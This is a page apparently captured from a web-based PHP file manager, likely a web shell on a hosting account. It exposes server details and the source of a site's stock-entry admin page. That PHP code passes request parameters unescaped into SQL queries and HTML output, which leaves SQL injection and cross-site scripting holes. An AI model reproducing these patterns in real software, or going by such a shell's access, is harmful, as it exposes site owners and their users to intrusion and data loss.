Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 4.18.0-553.40.1.lve.el8.x86_64

PHP Version:

8.2.27

User:

u176930106

Directory:

/home/u176930106/domains/ccadmultiservices.com/public_html/admin

Free Space:

1.91 TB

🔧 Quick Actions

✏️ Editing: viewstocks.php

<?php
ob_start();
session_start();
include("includes/inall.php"); 
if(isset($_REQUEST['delete']) && $_REQUEST['delete']=="yes") {
	mysqli_query($con,"delete from `stockexcel` where `id`='".$_REQUEST['id']."'");
	mysqli_query($con,"delete from `stockreport` where `ref`='".$_REQUEST['id']."'");
	$_SESSION['msg']="Entry is deleted successfully.";
	header("Location:viewstocks.php");
	exit();	
}
if(isset($_REQUEST['approve']) && $_REQUEST['approve']=="yes") {
	$d=date("Y-m-d");
	mysqli_query($con,"update `companies` set `status`='1' where `c_id`='".$_REQUEST['id']."'");
	$got="go".$_REQUEST['got'];
	$_SESSION['msg']="Company is approved successfully.";
	header("Location:viewstocks.php#".$got);
	exit();
}
if(isset($_REQUEST['reject']) && $_REQUEST['reject']=="yes") {
	mysqli_query($con,"update `companies` set `status`='0' where `c_id`='".$_REQUEST['id']."'");
	$got="go".$_REQUEST['got'];
	$_SESSION['msg']="Company is rejected successfully.";
	header("Location:viewstocks.php#".$got);
	exit();
}
include("includes/headermain.php"); 
?>
<script language="javascript" type="text/javascript">
function del(id) {
	var fd=confirm("Are you sure to delete this entry?");
	if(fd==true) {
		location.href="viewstocks.php?id="+id+"&delete=yes";
	}	
}
function approve(id,got) {
	location.href="viewstocks.php?id="+id+"&got="+got+"&approve=yes";
}
function reject(id,got) {
	location.href="viewstocks.php?id="+id+"&got="+got+"&reject=yes";
}
</script>
<body class="body-bg">


<div id="preloader">
	<div class="loader"></div>
</div>


<div class="horizontal-main-wrapper">
	<?php include("includes/header.php"); ?>
	
	<div class="main-content">
	 	<div class="main-content-inner">
			<div> 
				<div class="col-lg-12 mt-5">
					<div class="card">
						<div class="card-body">
							<h4 class="header-title">List of Stock Entries</h4>
							<form action="#" method="post">
								<div class="form-group col-md-4 floatleft">
									<label for="example-date-input" class="col-form-label">Date</label>
									<input class="form-control" type="date" name="sdate" id="sdate" value="<?php print $_REQUEST['sdate']; ?>">
								</div>
								<div class="form-group col-md-4 floatleft">
									<label for="example-date-input" class="col-form-label">ID</label>
									<input class="form-control" type="text" name="cusid" id="cusid" value="<?php print $_REQUEST['cusid']; ?>">
								</div>
								<div class="form-group col-md-4 floatleft">
									<label for="example-date-input" class="col-form-label">Name</label>
									<input class="form-control" type="text" name="name" id="name" value="<?php print $_REQUEST['name']; ?>">
								</div>
								<div class="cleaner"></div>
								<button type="submit" class="btn btn-primary mt-2 pr-4 pl-4">Search</button>
								<button type="buttton" class="btn btn-primary mt-2 pr-4 pl-4" onClick="showall('<?php print basename(__FILE__); ?>');">Show All</button>
							</form>	
							<div class="cleaner h20"></div>
							<?php if($_SESSION['msg']) { ?><span class="grtxt"><?php print $_SESSION['msg']; $_SESSION['msg']=""; ?></span><div class="cleaner h10"></div><?php } ?>
							<table class="table text-center">
								<thead class="text-uppercase bg-primary">
									<tr class="text-white">
										<td align="left">Sl.</td>
										<td align="left">Date</td>
										<td align="left">Excel</td>
										<td align="left">Status</td>
									</tr>
								</thead>
								<tbody>
									<?php
									$flag=0;
									$sql="select distinct sk.id from `stockexcel` sk, `stockreport` sr, `registration` rg where sk.id=sr.ref and sr.agent=rg.cusid";
									if(isset($_REQUEST['sdate']) && $_REQUEST['sdate']!="") {
										$sql.=" and sk.date='".$_REQUEST['sdate']."'";
									}
									if(isset($_REQUEST['cusid']) && $_REQUEST['cusid']!="") {
										$sql.=" and rg.cusid='".$_REQUEST['cusid']."'";
									}
									if(isset($_REQUEST['name']) && $_REQUEST['name']!="") {
										$sql.=" and (rg.fname like '%".$_REQUEST['name']."%' or rg.mname like '%".$_REQUEST['name']."%' or rg.lname like '%".$_REQUEST['name']."%')";
									}
									$sql.=" order by sk.id desc";
									$res=mysqli_query($con,$sql);
									if(mysqli_num_rows($res)>=1) {
										while($rowres=mysqli_fetch_array($res)) {
											$row=mysqli_fetch_array(mysqli_query($con,"select * from `stockexcel` where `id`='".$rowres['id']."'"));
									?>
											<tr <?php if($row['status']=="0") { ?>class="bg-red"<?php } ?> id="go<?php print $flag++; ?>">
												<td align="left"><?php print $flag; ?></td>
												<td align="left"><?php print dtconvert($row['date']); ?></td>
												<td align="left"><a href="docs/<?php print $row['sexcel']; ?>" targte="_new">Download</a></td>
												<td align="left">
													<a href="#" onClick="del('<?php print $row['id']; ?>');void(0);">Delete</a>&nbsp;
												</td>
											</tr>
									<?php }  } else { ?>
										<tr>
											<td colspan="7">Sorry, nothing found.</td>
										</tr>
									<?php } ?>	
								</tbody>
							</table>
						</div>
					</div>
				</div>
			</div>
		</div>
	</div>
	
	<?php include("includes/footer.php"); ?>
</div>


<script src="assets/js/vendor/jquery-2.2.4.min.js"></script>

<script src="assets/js/popper.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/owl.carousel.min.js"></script>
<script src="assets/js/metisMenu.min.js"></script>
<script src="assets/js/jquery.slimscroll.min.js"></script>
<script src="assets/js/jquery.slicknav.min.js"></script>

<script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/2.7.2/Chart.min.js"></script>

<script src="https://code.highcharts.com/highcharts.js"></script>
<script src="https://code.highcharts.com/modules/exporting.js"></script>
<script src="https://code.highcharts.com/modules/export-data.js"></script>

<script src="https://www.amcharts.com/lib/3/amcharts.js"></script>
<script src="https://www.amcharts.com/lib/3/ammap.js"></script>
<script src="https://www.amcharts.com/lib/3/maps/js/worldLow.js"></script>
<script src="https://www.amcharts.com/lib/3/serial.js"></script>
<script src="https://www.amcharts.com/lib/3/plugins/export/export.min.js"></script>
<script src="https://www.amcharts.com/lib/3/themes/light.js"></script>

<script src="assets/js/line-chart.js"></script>

<script src="assets/js/pie-chart.js"></script>

<script src="assets/js/bar-chart.js"></script>

<script src="assets/js/maps.js"></script>

<script src="assets/js/plugins.js"></script>
<script src="assets/js/scripts.js"></script>
</body>
</html>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: viewstocks.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation